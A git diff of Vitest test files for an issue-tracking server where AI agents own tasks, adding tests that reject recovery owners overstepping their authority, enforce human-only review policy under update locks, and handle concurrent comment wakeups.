     if (keys.includes("agentCompanyId")) return runRows;
+    if (keys.length === 0) {
+      const issue = await mockIssueService.getById(issueId);
+      return issue ? [issue] : [];
+    }
     return [{ id: runAgentId, companyId: runAgentCompanyId, permissions: {}, role: "engineer", reportsTo: null }];
   };
   const buildQuery = (selection: Record<string, unknown>) => {
-    const rows = rowsForSelection(selection);
     const whereResult = {
       orderBy: vi.fn(async () => []),
       limit: vi.fn(() => ({
-        then: async (resolve: (limitedRows: unknown[]) => unknown) => resolve(rows),
+        then: async (resolve: (limitedRows: unknown[]) => unknown) => resolve(await rowsForSelection(selection)),
       })),
-      then: async (resolve: (selectedRows: unknown[]) => unknown) => resolve(rows),
+      for: vi.fn(() => ({
+        then: async (resolve: (selectedRows: unknown[]) => unknown) => resolve(await rowsForSelection(selection)),
+      })),
+      then: async (resolve: (selectedRows: unknown[]) => unknown) => resolve(await rowsForSelection(selection)),
     };
     const query = {
       innerJoin: vi.fn(() => query),
@@ -314,12 +332,14 @@ function createRunContextDb(
     };
     return query;
   };
-  return {
-    transaction: async (callback: (tx: Record<string, never>) => Promise<unknown>) => callback({}),
+  const dbStub = {
+    transaction: async (callback: (tx: typeof dbStub) => Promise<unknown>) => callback(dbStub),
     select: vi.fn((selection: Record<string, unknown> = {}) => ({
       from: vi.fn(() => buildQuery(selection)),
     })),
+    insert: vi.fn(() => ({ values: vi.fn(async () => undefined) })),
   };
+  return dbStub;
 }
 
 async function createApp(actor: Record<string, unknown>, db?: unknown) {
@@ -425,6 +445,10 @@ describe("agent issue mutation checkout ownership", () => {
     mockAgentService.list.mockReset();
     mockAgentService.resolveByReference.mockReset();
     mockCompanyService.getById.mockReset();
+    mockBudgetService.getInvocationBlock.mockReset();
+    mockBudgetService.getInvocationBlock.mockResolvedValue(null);
+    mockProjectService.getById.mockReset();
+    mockProjectService.getById.mockResolvedValue(null);
     mockIssueService.addComment.mockReset();
     mockIssueService.assertCheckoutOwner.mockReset();
     mockIssueService.create.mockReset();
@@ -433,6 +457,7 @@ describe("agent issue mutation checkout ownership", () => {
     mockIssueService.getAttachmentById.mockReset();
     mockIssueService.getByIdentifier.mockReset();
     mockIssueService.getById.mockReset();
+    mockIssueService.getByIdForUpdate.mockReset();
     mockIssueService.getComment.mockReset();
     mockIssueService.getDependencyReadiness.mockReset();
     mockIssueService.getDependencyReadiness.mockResolvedValue({
@@ -558,6 +583,7 @@ describe("agent issue mutation checkout ownership", () => {
     mockAgentService.resolveByReference.mockResolvedValue({ ambiguous: false, agent: null });
     mockCompanyService.getById.mockResolvedValue({ id: companyId, issuePrefix: "PAP" });
     mockIssueService.getById.mockResolvedValue(makeIssue());
+    mockIssueService.getByIdForUpdate.mockImplementation(async () => mockIssueService.getById());
     mockIssueService.getByIdentifier.mockResolvedValue(null);
     mockIssueService.getComment.mockResolvedValue({
       id: "comment-1",
@@ -976,6 +1002,7 @@ describe("agent issue mutation checkout ownership", () => {
     expect(mockIssueService.update).toHaveBeenCalledWith(
       issueId,
       expect.objectContaining({ status: "done" }),
+      expect.anything(),
     );
   });
 
@@ -1701,14 +1728,10 @@ describe("agent issue mutation checkout ownership", () => {
     expect(mockIssueRecoveryActionService.resolveActiveForIssue).not.toHaveBeenCalled();
   });
 
-  it("allows the named recovery owner to resolve a board-owned source issue", async () => {
+  it("rejects the named recovery owner completing a board-owned source issue", async () => {
     mockIssueService.getById.mockResolvedValue(
       makeIssue({ status: "blocked", assigneeAgentId: null, assigneeUserId: "board-user" }),
     );
-    mockIssueService.update.mockImplementation(async (_id: string, patch: Record<string, unknown>) => ({
-      ...makeIssue({ status: "blocked", assigneeAgentId: null, assigneeUserId: "board-user" }),
-      ...patch,
-    }));
     mockIssueRecoveryActionService.getActiveForIssue.mockResolvedValue({
       id: recoveryActionId,
       ownerAgentId,
@@ -1722,8 +1745,144 @@ describe("agent issue mutation checkout ownership", () => {
         sourceIssueStatus: "done",
       });
 
+    expect(res.status, JSON.stringify(res.body)).toBe(403);
+    expect(res.body.details?.code).toBe("recovery_source_authority_required");
+    expect(mockIssueService.update).not.toHaveBeenCalled();
+    expect(mockIssueRecoveryActionService.resolveActiveForIssue).not.toHaveBeenCalled();
+  });
+
+  it("rejects a recovery owner completing an independently agent-owned source issue", async () => {
+    mockIssueService.getById.mockResolvedValue(
+      makeIssue({ status: "blocked", assigneeAgentId: ownerAgentId }),
+    );
+    mockIssueRecoveryActionService.getActiveForIssue.mockResolvedValue({
+      id: recoveryActionId,
+      ownerAgentId: peerAgentId,
+    });
+
+    const res = await request(await createApp(peerActor()))
+      .post(`/api/issues/${issueId}/recovery-actions/resolve`)
+      .send({
+        actionId: recoveryActionId,
+        outcome: "restored",
+        sourceIssueStatus: "done",
+      });
+
+    expect(res.status, JSON.stringify(res.body)).toBe(403);
+    expect(res.body.details?.code).toBe("recovery_source_authority_required");
+    expect(mockIssueService.update).not.toHaveBeenCalled();
+  });
+
+  it.each(["done", "cancelled"])(
+    "rejects recovery-owner PATCH of an agent-owned source to %s",
+    async (status) => {
+      mockIssueService.getById.mockResolvedValue(
+        makeIssue({ status: "blocked", assigneeAgentId: ownerAgentId }),
+      );
+      mockIssueRecoveryActionService.getActiveForIssue.mockResolvedValue({
+        id: recoveryActionId,
+        ownerAgentId: peerAgentId,
+      });
+
+      const res = await request(await createApp(peerActor()))
+        .patch(`/api/issues/${issueId}`)
+        .send({ status });
+
+      expect(res.status, JSON.stringify(res.body)).toBe(403);
+      expect(res.body.details?.code).toBe("recovery_source_authority_required");
+      expect(mockIssueService.update).not.toHaveBeenCalled();
+    },
+  );
+
+  it("rejects recovery-owner reassignment of an independently agent-owned source", async () => {
+    mockIssueService.getById.mockResolvedValue(
+      makeIssue({ status: "blocked", assigneeAgentId: ownerAgentId }),
+    );
+    mockIssueRecoveryActionService.getActiveForIssue.mockResolvedValue({
+      id: recoveryActionId,
+      ownerAgentId: peerAgentId,
+    });
+    mockAgentService.resolveByReference.mockResolvedValue({
+      ambiguous: false,
+      agent: makeAgent(peerAgentId),
+    });
+
+    const res = await request(await createApp(peerActor()))
+      .patch(`/api/issues/${issueId}`)
+      .send({ assigneeAgentId: peerAgentId });
+
+    expect(res.status, JSON.stringify(res.body)).toBe(403);
+    expect(res.body.details?.code).toBe("recovery_source_authority_required");
+    expect(mockIssueService.update).not.toHaveBeenCalled();
+  });
+
+  it("rejects a recovery owner who is not the current governed review participant", async () => {
+    mockIssueService.getById.mockResolvedValue(makeIssue({
+      status: "in_review",
+      assigneeAgentId: ownerAgentId,
+      executionState: {
+        status: "pending",
+        currentStageId: "88888888-8888-4888-8888-888888888888",
+        currentStageIndex: 0,
+        currentStageType: "review",
+        currentParticipant: { type: "agent", agentId: ownerAgentId },
+        returnAssignee: { type: "agent", agentId: ownerAgentId },
+        completedStageIds: [],
+        lastDecisionId: null,
+        lastDecisionOutcome: null,
+      },
+    }));
+    mockIssueRecoveryActionService.getActiveForIssue.mockResolvedValue({
+      id: recoveryActionId,
+      ownerAgentId: peerAgentId,
+    });
+
+    const res = await request(await createApp(peerActor()))
+      .post(`/api/issues/${issueId}/recovery-actions/resolve`)
+      .send({ actionId: recoveryActionId, outcome: "restored", sourceIssueStatus: "done" });
+
+    expect(res.status, JSON.stringify(res.body)).toBe(403);
+    expect(res.body.details?.code).toBe("recovery_source_authority_required");
+    expect(mockIssueService.update).not.toHaveBeenCalled();
+  });
+
+  it("keeps configured review policy authoritative during recovery resolution", async () => {
+    mockIssueService.getById.mockResolvedValue(makeIssue({
+      status: "in_review",
+      assigneeAgentId: ownerAgentId,
+      reviewPolicy: "human_only",
+    }));
+    mockIssueRecoveryActionService.getActiveForIssue.mockResolvedValue({
+      id: recoveryActionId,
+      ownerAgentId,
+    });
+
+    const res = await request(await createApp(ownerActor()))
+      .post(`/api/issues/${issueId}/recovery-actions/resolve`)
+      .send({ actionId: recoveryActionId, outcome: "restored", sourceIssueStatus: "done" });
+
+    expect(res.status, JSON.stringify(res.body)).toBe(403);
+    expect(res.body.details?.code).toBe("review_policy_denied");
+    expect(mockIssueService.update).not.toHaveBeenCalled();
+  });
+
+  it("allows a recovery owner to record a receipt without mutating a board-owned source", async () => {
+    mockIssueService.getById.mockResolvedValue(makeIssue({
+      status: "in_review",
+      assigneeAgentId: null,
+      assigneeUserId: "board-user",
+    }));
+    mockIssueRecoveryActionService.getActiveForIssue.mockResolvedValue({
+      id: recoveryActionId,
+      ownerAgentId,
+    });
+
+    const res = await request(await createApp(ownerActor()))
+      .post(`/api/issues/${issueId}/recovery-actions/resolve`)
+      .send({ actionId: recoveryActionId, outcome: "restored", sourceIssueStatus: "in_review" });
+
     expect(res.status, JSON.stringify(res.body)).toBe(200);
-    expect(mockIssueService.update).toHaveBeenCalled();
+    expect(mockIssueService.update).not.toHaveBeenCalled();
     expect(mockIssueRecoveryActionService.resolveActiveForIssue).toHaveBeenCalled();
   });
 
@@ -1737,10 +1896,11 @@ describe("agent issue mutation checkout ownership", () => {
     }));
     mockIssueRecoveryActionService.getActiveForIssue.mockResolvedValue({
       id: recoveryActionId,
-      ownerAgentId,
+      ownerAgentId: peerAgentId,
+      returnOwnerAgentId: ownerAgentId,
     });
 
-    const res = await request(await createApp(ownerActor()))
+    const res = await request(await createApp(peerActor()))
       .post(`/api/issues/${issueId}/recovery-actions/resolve`)
       .send({
         actionId: recoveryActionId,
@@ -1749,6 +1909,12 @@ describe("agent issue mutation checkout ownership", () => {
       });
 
     expect(res.status, JSON.stringify(res.body)).toBe(200);
+    expect(mockIssueService.update).toHaveBeenCalledWith(
+      issueId,
+      expect.not.objectContaining({ assigneeAgentId: expect.anything() }),
+      expect.anything(),
+      expect.any(Array),
+    );
     expect(mockHeartbeatService.wakeup).toHaveBeenCalledWith(
       ownerAgentId,
       expect.objectContaining({
@@ -1762,6 +1928,73 @@ describe("agent issue mutation checkout ownership", () => {
     );
   });
 
+  it.each([
+    ["checkoutRunId", ownerRunId],
+    ["executionRunId", ownerRunId],
+  ])("blocks safe hand-back while the source has an active %s", async (lockField, lockRunId) => {
+    mockIssueService.getById.mockResolvedValue(makeIssue({
+      status: "blocked",
+      assigneeAgentId: ownerAgentId,
+      [lockField]: lockRunId,
+    }));
+    mockIssueRecoveryActionService.getActiveForIssue.mockResolvedValue({
+      id: recoveryActionId,
+      ownerAgentId: peerAgentId,
+      returnOwnerAgentId: ownerAgentId,
+    });
+
+    const res = await request(await createApp(peerActor()))
+      .post(`/api/issues/${issueId}/recovery-actions/resolve`)
+      .send({ actionId: recoveryActionId, outcome: "restored", sourceIssueStatus: "todo" });
+
+    expect(res.status, JSON.stringify(res.body)).toBe(409);
+    expect(res.body.details?.code).toBe("recovery_source_run_lock");
+    expect(mockIssueService.update).not.toHaveBeenCalled();
+  });
+
+  it("blocks safe hand-back while the original owner's budget is paused", async () => {
+    mockIssueService.getById.mockResolvedValue(
+      makeIssue({ status: "blocked", assigneeAgentId: ownerAgentId }),
+    );
+    mockIssueRecoveryActionService.getActiveForIssue.mockResolvedValue({
+      id: recoveryActionId,
+      ownerAgentId: peerAgentId,
+      returnOwnerAgentId: ownerAgentId,
+    });
+    mockBudgetService.getInvocationBlock.mockResolvedValue({
+      scope: "agent",
+      reason: "hard_limit_reached",
+    });
+
+    const res = await request(await createApp(peerActor()))
+      .post(`/api/issues/${issueId}/recovery-actions/resolve`)
+      .send({ actionId: recoveryActionId, outcome: "restored", sourceIssueStatus: "todo" });
+
+    expect(res.status, JSON.stringify(res.body)).toBe(409);
+    expect(res.body.details?.code).toBe("recovery_safe_hand_back_budget_blocked");
+    expect(mockIssueService.update).not.toHaveBeenCalled();
+  });
+
+  it("blocks safe hand-back while a governed approval remains pending", async () => {
+    mockIssueService.getById.mockResolvedValue(
+      makeIssue({ status: "blocked", assigneeAgentId: ownerAgentId }),
+    );
+    mockIssueRecoveryActionService.getActiveForIssue.mockResolvedValue({
+      id: recoveryActionId,
+      ownerAgentId: peerAgentId,
+      returnOwnerAgentId: ownerAgentId,
+    });
+    mockIssueApprovalService.listApprovalsForIssue.mockResolvedValue([{ status: "pending" }]);
+
+    const res = await request(await createApp(peerActor()))
+      .post(`/api/issues/${issueId}/recovery-actions/resolve`)
+      .send({ actionId: recoveryActionId, outcome: "restored", sourceIssueStatus: "todo" });
+
+    expect(res.status, JSON.stringify(res.body)).toBe(409);
+    expect(res.body.details?.code).toBe("recovery_governed_approval_pending");
+    expect(mockIssueService.update).not.toHaveBeenCalled();
+  });
+
   it("uses the authorization decision path for assignment changes", async () => {
     const decide = vi.fn(async () => ({
       allowed: false,
@@ -1944,7 +2177,11 @@ describe("agent issue mutation checkout ownership", () => {
       const res = await request(app).patch(`/api/issues/${issueId}`).send({ status: "in_review" });
 
       expect(res.status, JSON.stringify(res.body)).toBe(200);
-      expect(mockIssueService.update).toHaveBeenCalledWith(issueId, expect.objectContaining({ status: "in_review" }));
+      expect(mockIssueService.update).toHaveBeenCalledWith(
+        issueId,
+        expect.objectContaining({ status: "in_review" }),
+        expect.anything(),
+      );
     });
 
     it("rejects stale watchdog source mutations when revalidation finds a live path", async () => {
diff --git a/server/src/__tests__/issue-assigned-backlog-contract-routes.test.ts b/server/src/__tests__/issue-assigned-backlog-contract-routes.test.ts
index ac80ef32d5d..da978996111 100644
--- a/server/src/__tests__/issue-assigned-backlog-contract-routes.test.ts
+++ b/server/src/__tests__/issue-assigned-backlog-contract-routes.test.ts
@@ -1,6 +1,6 @@
 import express from "express";
 import request from "supertest";
-import { beforeEach, describe, expect, it, vi } from "vitest";
+import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest";
 
 const assigneeAgentId = "22222222-2222-4222-8222-222222222222";
 
@@ -168,6 +168,15 @@ function expectClearAssignedStatusValidation(res: request.Response) {
 }
 
 describe("assigned backlog creation contract", () => {
+  // Load the real route and middleware modules once before the tests run. The
+  // first import transforms a large module graph. Under the loaded serial shard
+  // (maxWorkers=1) that cold cost crossed the 5s testTimeout of the first test.
+  // The hook has a 30s budget, so it absorbs the cost and every createApp() call
+  // then hits the cached modules.
+  beforeAll(async () => {
+    await createApp();
+  });
+
   beforeEach(() => {
     vi.clearAllMocks();
     mockIssueService.getById.mockResolvedValue(makeIssue({
diff --git a/server/src/__tests__/issue-attachment-routes.test.ts b/server/src/__tests__/issue-attachment-routes.test.ts
index 2103aa58809..d8f72d1daf3 100644
--- a/server/src/__tests__/issue-attachment-routes.test.ts
+++ b/server/src/__tests__/issue-attachment-routes.test.ts
@@ -515,6 +515,36 @@ describe("issue attachment routes", () => {
     expect(res.headers["x-content-type-options"]).toBe("nosniff");
   });
 
+  it("declares utf-8 for inline markdown attachments", async () => {
+    const storage = createStorageService(Buffer.from("# Hello\n"));
+    mockIssueService.getAttachmentById.mockResolvedValue({
+      ...makeAttachment("text/markdown", "notes.md"),
+      byteSize: 8,
+    });
+
+    const app = await createApp(storage);
+    const res = await request(app).get("/api/attachments/attachment-1/content");
+
+    expect(res.status).toBe(200);
+    expect(res.headers["content-type"]).toBe("text/markdown; charset=utf-8");
+    expect(res.headers["x-content-type-options"]).toBe("nosniff");
+  });
+
+  it("keeps the charset declaration on forced markdown downloads", async () => {
+    const storage = createStorageService(Buffer.from("# Hello\n"));
+    mockIssueService.getAttachmentById.mockResolvedValue({
+      ...makeAttachment("text/markdown", "notes.md"),
+      byteSize: 8,
+    });
+
+    const app = await createApp(storage);
+    const res = await request(app).get("/api/attachments/attachment-1/content?download=1");
+
+    expect(res.status).toBe(200);
+    expect(res.headers["content-type"]).toBe("text/markdown; charset=utf-8");
+    expect(res.headers["content-disposition"]).toBe('attachment; filename="notes.md"');
+  });
+
   it("keeps image attachments inline for previews", async () => {
     const storage = createStorageService();
     mockIssueService.getAttachmentById.mockResolvedValue(makeAttachment("image/png", "preview.png"));
diff --git a/server/src/__tests__/issue-blocker-attention.test.ts b/server/src/__tests__/issue-blocker-attention.test.ts
index 5635320dd4d..1e6c00631e7 100644
--- a/server/src/__tests__/issue-blocker-attention.test.ts
+++ b/server/src/__tests__/issue-blocker-attention.test.ts
@@ -131,7 +131,14 @@ describeEmbeddedPostgres("issue blocker attention", () => {
     });
   }
 
-  async function activeRun(input: { companyId: string; agentId: string; issueId: string; status?: string; current?: boolean }) {
+  async function activeRun(input: {
+    companyId: string;
+    agentId: string;
+    issueId: string;
+    status?: string;
+    current?: boolean;
+    scheduledRetryAt?: Date;
+  }) {
     const runId = randomUUID();
     await db.insert(heartbeatRuns).values({
       id: runId,
@@ -139,6 +146,7 @@ describeEmbeddedPostgres("issue blocker attention", () => {
       agentId: input.agentId,
       status: input.status ?? "running",
       contextSnapshot: { issueId: input.issueId },
+      scheduledRetryAt: input.scheduledRetryAt,
     });
     if (input.current !== false) {
       await db.update(issues).set({ executionRunId: runId }).where(eq(issues.id, input.issueId));
@@ -447,6 +455,47 @@ describeEmbeddedPostgres("issue blocker attention", () => {
     });
   });
 
+  it("returns the direct path and link details when an intermediate blocker is selected", async () => {
+    const { companyId, agentId } = await createCompany("PBI");
+    const rootId = await insertIssue({ companyId, identifier: "PBI-1", title: "Root", status: "blocked" });
+    const directId = await insertIssue({
+      companyId,
+      identifier: "PBI-2",
+      title: "Direct blocker",
+      status: "blocked",
+    });
+    const intermediateId = await insertIssue({
+      companyId,
+      identifier: "PBI-3",
+      title: "Stalled intermediate review",
+      status: "in_review",
+      assigneeAgentId: agentId,
+    });
+    const leafId = await insertIssue({
+      companyId,
+      identifier: "PBI-4",
+      title: "Downstream leaf",
+      status: "todo",
+      assigneeAgentId: agentId,
+    });
+    await block({ companyId, blockerIssueId: directId, blockedIssueId: rootId });
+    await block({ companyId, blockerIssueId: intermediateId, blockedIssueId: directId });
+    await block({ companyId, blockerIssueId: leafId, blockedIssueId: intermediateId });
+
+    const root = (await svc.list(companyId, { status: "blocked" })).find((issue) => issue.id === rootId);
+
+    expect(root?.blockerAttention).toMatchObject({
+      state: "stalled",
+      directBlockerIssueId: directId,
+      terminalBlockerIssueId: intermediateId,
+      terminalBlocker: {
+        id: intermediateId,
+        identifier: "PBI-3",
+        title: "Stalled intermediate review",
+      },
+    });
+  });
+
   it("prefers needs_attention over stalled when the chain also has a hard attention case", async () => {
     const { companyId, agentId } = await createCompany("PBQ");
     const parentId = await insertIssue({ companyId, identifier: "PBQ-1", title: "Parent", status: "blocked" });
@@ -561,7 +610,9 @@ describeEmbeddedPostgres("issue blocker attention", () => {
     });
   });
 
-  it("does not treat a scheduled retry as actively covered work", async () => {
+  it("does not treat an expired scheduled retry as actively covered work", async () => {
+    const pinnedNow = new Date("2026-08-20T12:00:00.000Z");
+    const expiredRetryAt = new Date(pinnedNow.getTime() - 60_000);
     const { companyId, agentId } = await createCompany("PBY");
     const parentId = await insertIssue({ companyId, identifier: "PBY-1", title: "Parent", status: "blocked" });
     const blockerId = await insertIssue({
@@ -572,7 +623,13 @@ describeEmbeddedPostgres("issue blocker attention", () => {
       assigneeAgentId: agentId,
     });
     await block({ companyId, blockerIssueId: blockerId, blockedIssueId: parentId });
-    await activeRun({ companyId, agentId, issueId: blockerId, status: "scheduled_retry" });
+    await activeRun({
+      companyId,
+      agentId,
+      issueId: blockerId,
+      status: "scheduled_retry",
+      scheduledRetryAt: expiredRetryAt,
+    });
 
     const parent = (await svc.list(companyId, { status: "blocked" })).find((issue) => issue.id === parentId);
 
diff --git a/server/src/__tests__/issue-comment-reopen-routes.test.ts b/server/src/__tests__/issue-comment-reopen-routes.test.ts
index eb450d13b13..8d130dc57d6 100644
--- a/server/src/__tests__/issue-comment-reopen-routes.test.ts
+++ b/server/src/__tests__/issue-comment-reopen-routes.test.ts
@@ -5,6 +5,7 @@ import { HttpError } from "../errors.js";
 
 const mockIssueService = vi.hoisted(() => ({
   getById: vi.fn(),
+  getByIdForUpdate: vi.fn(),
   assertCheckoutOwner: vi.fn(),
   update: vi.fn(),
   addComment: vi.fn(),
@@ -265,6 +266,7 @@ describe.sequential("issue comment reopen routes", () => {
   beforeEach(() => {
     vi.clearAllMocks();
     mockIssueService.getById.mockReset();
+    mockIssueService.getByIdForUpdate.mockReset();
     mockIssueService.assertCheckoutOwner.mockReset();
     mockIssueService.update.mockReset();
     mockIssueService.addComment.mockReset();
@@ -316,6 +318,7 @@ describe.sequential("issue comment reopen routes", () => {
     mockDbSelectFrom.mockImplementation(() => ({ where: mockDbSelectWhere }));
     mockDbSelect.mockImplementation(() => ({ from: mockDbSelectFrom }));
     mockDb.transaction.mockImplementation(async (fn: (tx: typeof mockTx) => Promise<unknown>) => fn(mockTx));
+    mockIssueService.getByIdForUpdate.mockImplementation(async () => mockIssueService.getById());
     mockHeartbeatService.wakeup.mockResolvedValue(undefined);
     mockHeartbeatService.reportRunActivity.mockResolvedValue(undefined);
     mockHeartbeatService.getRun.mockResolvedValue(null);
@@ -1028,6 +1031,88 @@ describe.sequential("issue comment reopen routes", () => {
     ));
   });
 
+  it("skips the assignee wakeup when the issue is concurrently cancelled while the comment is being written", async () => {
+    const app = await installActor(createApp());
+    // First call is the route's pre-insert fetch; second is the wake-decision
+    // re-fetch. A stale wake decision would use the first (open, assigned)
+    // snapshot instead of the second (cancelled) one.
+    mockIssueService.getById
+      .mockResolvedValueOnce(makeIssue("in_progress"))
+      .mockResolvedValueOnce(makeIssue("cancelled"));
+    mockIssueService.addComment.mockResolvedValue({
+      id: "comment-race-cancel",
+      issueId: "11111111-1111-4111-8111-111111111111",
+      companyId: "company-1",
+      body: "Still working on this?",
+    });
+
+    const res = await request(app)
+      .post("/api/issues/11111111-1111-4111-8111-111111111111/comments")
+      .send({ body: "Still working on this?" });
+
+    expect(res.status).toBe(201);
+    expect(mockIssueService.addComment).toHaveBeenCalled();
+    // Give any (incorrect) fire-and-forget wakeup a moment to fire before asserting its absence.
+    await new Promise((resolve) => setTimeout(resolve, 25));
+    expect(mockHeartbeatService.wakeup).not.toHaveBeenCalled();
+  });
+
+  it("wakes the freshly reassigned agent, not the pre-insert snapshot's assignee, when the issue is concurrently reassigned", async () => {
+    const app = await installActor(createApp());
+    const reassignedAgentId = "44444444-4444-4444-8444-444444444444";
+    mockIssueService.getById
+      .mockResolvedValueOnce(makeIssue("in_progress"))
+      .mockResolvedValueOnce({ ...makeIssue("in_progress"), assigneeAgentId: reassignedAgentId });
+    mockIssueService.addComment.mockResolvedValue({
+      id: "comment-race-reassign",
+      issueId: "11111111-1111-4111-8111-111111111111",
+      companyId: "company-1",
+      body: "Status update",
+    });
+
+    const res = await request(app)
+      .post("/api/issues/11111111-1111-4111-8111-111111111111/comments")
+      .send({ body: "Status update" });
+
+    expect(res.status).toBe(201);
+    await waitForWakeup(() => expect(mockHeartbeatService.wakeup).toHaveBeenCalledWith(
+      reassignedAgentId,
+      expect.objectContaining({ reason: "issue_commented" }),
+    ));
+    expect(mockHeartbeatService.wakeup).not.toHaveBeenCalledWith(
+      "22222222-2222-4222-8222-222222222222",
+      expect.anything(),
+    );
+  });
+
+  it("keeps the comment write successful and falls back to the in-hand snapshot when the wake re-fetch fails", async () => {
+    const app = await installActor(createApp());
+    // The comment is already committed before the wake-decision re-fetch runs.
+    // If that best-effort re-fetch throws, the route must still return 201 for
+    // the persisted comment (a 5xx would invite a retry that duplicates it) and
+    // fall back to the in-hand snapshot so a legitimate wake isn't dropped.
+    mockIssueService.getById
+      .mockResolvedValueOnce(makeIssue("in_progress"))
+      .mockRejectedValueOnce(new Error("transient read failure"));
+    mockIssueService.addComment.mockResolvedValue({
+      id: "comment-refetch-fail",
+      issueId: "11111111-1111-4111-8111-111111111111",
+      companyId: "company-1",
+      body: "Still here?",
+    });
+
+    const res = await request(app)
+      .post("/api/issues/11111111-1111-4111-8111-111111111111/comments")
+      .send({ body: "Still here?" });
+
+    expect(res.status).toBe(201);
+    expect(mockIssueService.addComment).toHaveBeenCalled();
+    await waitForWakeup(() => expect(mockHeartbeatService.wakeup).toHaveBeenCalledWith(
+      "22222222-2222-4222-8222-222222222222",
+      expect.objectContaining({ reason: "issue_commented" }),
+    ));
+  });
+
   it("passes validated comment presentation fields to trusted board comment writes", async () => {
     const app = await installActor(createApp());
     mockIssueService.getById.mockResolvedValue(makeIssue("todo"));
diff --git a/server/src/__tests__/issue-dependency-wakeups-routes.test.ts b/server/src/__tests__/issue-dependency-wakeups-routes.test.ts
index 71764b88301..a840a81a4af 100644
--- a/server/src/__tests__/issue-dependency-wakeups-routes.test.ts
+++ b/server/src/__tests__/issue-dependency-wakeups-routes.test.ts
@@ -2,11 +2,23 @@ import express from "express";
 import request from "supertest";
 import { beforeEach, describe, expect, it, vi } from "vitest";
 
+// The first test in this suite imports the large `routes/issues.ts` module
+// through `vi.importActual` inside `createApp`. `vi.resetModules()` in
+// `beforeEach` forces a fresh import each test, so the first test pays the
+// one-time transform and execution cost of that module. Locally the first
+// test takes about 3.7s while the later tests take about 0.13s each. Under
+// the loaded serial shard (maxWorkers=1) this cold-start can cross vitest's
+// default 5000ms test timeout and produce a flaky "Test timed out in 5000ms"
+// failure. Give the suite generous headroom, far above the observed cold-start
+// yet still below the 30s hook timeout.
+vi.setConfig({ testTimeout: 15000 });
+
 const mockWakeup = vi.hoisted(() => vi.fn(async () => undefined));
-const mockFindExistingIssueBlockersResolvedWake = vi.hoisted(() => vi.fn(async () => null));
+const mockFindExistingIssueBlockersResolvedWakeForReadyState = vi.hoisted(() => vi.fn(async () => null));
 const mockIssueService = vi.hoisted(() => ({
   getAncestors: vi.fn(),
   getById: vi.fn(),
+  getByIdForUpdate: vi.fn(),
   getByIdentifier: vi.fn(async () => null),
   getComment: vi.fn(),
   getCommentCursor: vi.fn(),
@@ -97,7 +109,8 @@ vi.mock("../services/issue-dependency-wakeups.js", async () => {
   );
   return {
     ...actual,
-    findExistingIssueBlockersResolvedWake: mockFindExistingIssueBlockersResolvedWake,
+    findExistingIssueBlockersResolvedWakeForReadyState:
+      mockFindExistingIssueBlockersResolvedWakeForReadyState,
   };
 });
 
@@ -114,6 +127,7 @@ async function createApp() {
     select: vi.fn(() => ({
       from: vi.fn(() => query),
     })),
+    transaction: async (callback: (tx: Record<string, never>) => Promise<unknown>) => callback({}),
   };
   const [{ issueRoutes }, { errorHandler }] = await Promise.all([
     vi.importActual<typeof import("../routes/issues.js")>("../routes/issues.js"),
@@ -143,8 +157,9 @@ describe("issue dependency wakeups in issue routes", () => {
     vi.doUnmock("../routes/authz.js");
     vi.doUnmock("../middleware/index.js");
     vi.clearAllMocks();
-    mockFindExistingIssueBlockersResolvedWake.mockResolvedValue(null);
+    mockFindExistingIssueBlockersResolvedWakeForReadyState.mockResolvedValue(null);
     mockIssueService.getAncestors.mockResolvedValue([]);
+    mockIssueService.getByIdForUpdate.mockImplementation(async () => mockIssueService.getById());
     mockIssueService.getComment.mockResolvedValue(null);
     mockIssueService.getCommentCursor.mockResolvedValue({
       totalComments: 0,
diff --git a/server/src/__tests__/issue-execution-policy-routes.test.ts b/server/src/__tests__/issue-execution-policy-routes.test.ts
index 710a9afca6d..8770b361259 100644
--- a/server/src/__tests__/issue-execution-policy-routes.test.ts
+++ b/server/src/__tests__/issue-execution-policy-routes.test.ts
@@ -5,6 +5,7 @@ import { normalizeIssueExecutionPolicy } from "../services/issue-execution-polic
 
 const mockIssueService = vi.hoisted(() => ({
   getById: vi.fn(),
+  getByIdForUpdate: vi.fn(),
   findOpenAncestorCreatedByAgent: vi.fn(async () => null),
   assertCheckoutOwner: vi.fn(),
   update: vi.fn(),
@@ -190,6 +191,7 @@ describe("issue execution policy routes", () => {
     registerModuleMocks();
     vi.clearAllMocks();
     mockIssueService.assertCheckoutOwner.mockResolvedValue({ adoptedFromRunId: null });
+    mockIssueService.getByIdForUpdate.mockImplementation(async () => mockIssueService.getById());
     mockIssueService.findMentionedAgents.mockResolvedValue([]);
     mockIssueService.getRelationSummaries.mockResolvedValue({ blockedBy: [], blocks: [] });
     mockIssueService.listWakeableBlockedDependents.mockResolvedValue([]);
@@ -250,6 +252,47 @@ describe("issue execution policy routes", () => {
     mockAccessService.hasPermission.mockResolvedValue(false);
   });
 
+  it("reauthorizes a terminal verdict against the review policy held under the update lock", async () => {
+    const issue = {
+      id: "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
+      companyId: "company-1",
+      status: "in_review",
+      reviewPolicy: "anyone",
+      assigneeAgentId: "33333333-3333-4333-8333-333333333333",
+      assigneeUserId: null,
+      createdByUserId: "local-board",
+      identifier: "PAP-1002",
+      title: "Concurrent policy update",
+      executionPolicy: null,
+      executionState: null,
+    };
+    mockIssueService.getById.mockResolvedValue(issue);
+    mockIssueService.getByIdForUpdate.mockResolvedValue({
+      ...issue,
+      reviewPolicy: "human_only",
+    });
+
+    const res = await request(await createApp({
+      type: "agent",
+      agentId: "33333333-3333-4333-8333-333333333333",
+      companyId: "company-1",
+      runId: "55555555-5555-4555-8555-555555555555",
+    }))
+      .patch("/api/issues/aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa")
+      .send({ status: "done" });
+
+    expect(res.status).toBe(403);
+    expect(res.body).toMatchObject({
+      details: {
+        code: "review_policy_denied",
+        policy: "human_only",
+      },
+    });
+    expect(mockDb.transaction).toHaveBeenCalled();
+    expect(mockIssueService.getByIdForUpdate).toHaveBeenCalled();
+    expect(mockIssueService.update).not.toHaveBeenCalled();
+  });
+
   it("rejects an agent-authored in_review transition without a review path", async () => {
     const issue = {
       id: "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
@@ -326,6 +369,7 @@ describe("issue execution policy routes", () => {
     expect(mockIssueService.update).toHaveBeenCalledWith(
       "aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa",
       expect.objectContaining({ status: "in_review" }),
+      expect.anything(),
     );
